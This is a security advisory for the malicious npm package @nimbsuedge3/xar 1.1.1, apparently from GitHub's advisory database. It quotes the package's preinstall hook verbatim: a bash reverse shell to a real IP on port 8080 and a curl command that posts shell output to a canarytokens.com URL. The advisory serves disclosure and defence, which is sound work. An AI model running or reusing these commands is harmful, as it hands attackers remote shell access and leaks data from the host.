npm · Malicious package advisory
Malware@nimbsuedge3/xar
GHSA-rg8r-9wp3-7jrg
Malicious code in @nimbsuedge3/xar (npm)
Details
**Severity:** Critical **Affected versions:** `= 1.1.1` ## Source: amazon-inspector (85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf) package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` as an out-of-band exfiltration beacon. Both actions fire automatically on `npm install`, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/@nimbsuedge3/xar/MAL-2026-16301.json)) **References:** - https://github.com/ossf/malicious-packages/blob/5f0495009882359c4fb90f43d4c686a809dd861a/osv/malicious/npm/@nimbsuedge3/xar/MAL-2026-16301.json - https://www.npmjs.com/package/@nimbsuedge3/xar/v/1.1.1 - https://github.com/advisories/GHSA-rg8r-9wp3-7jrg
Compromised versions (1)
- = 1.1.1
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.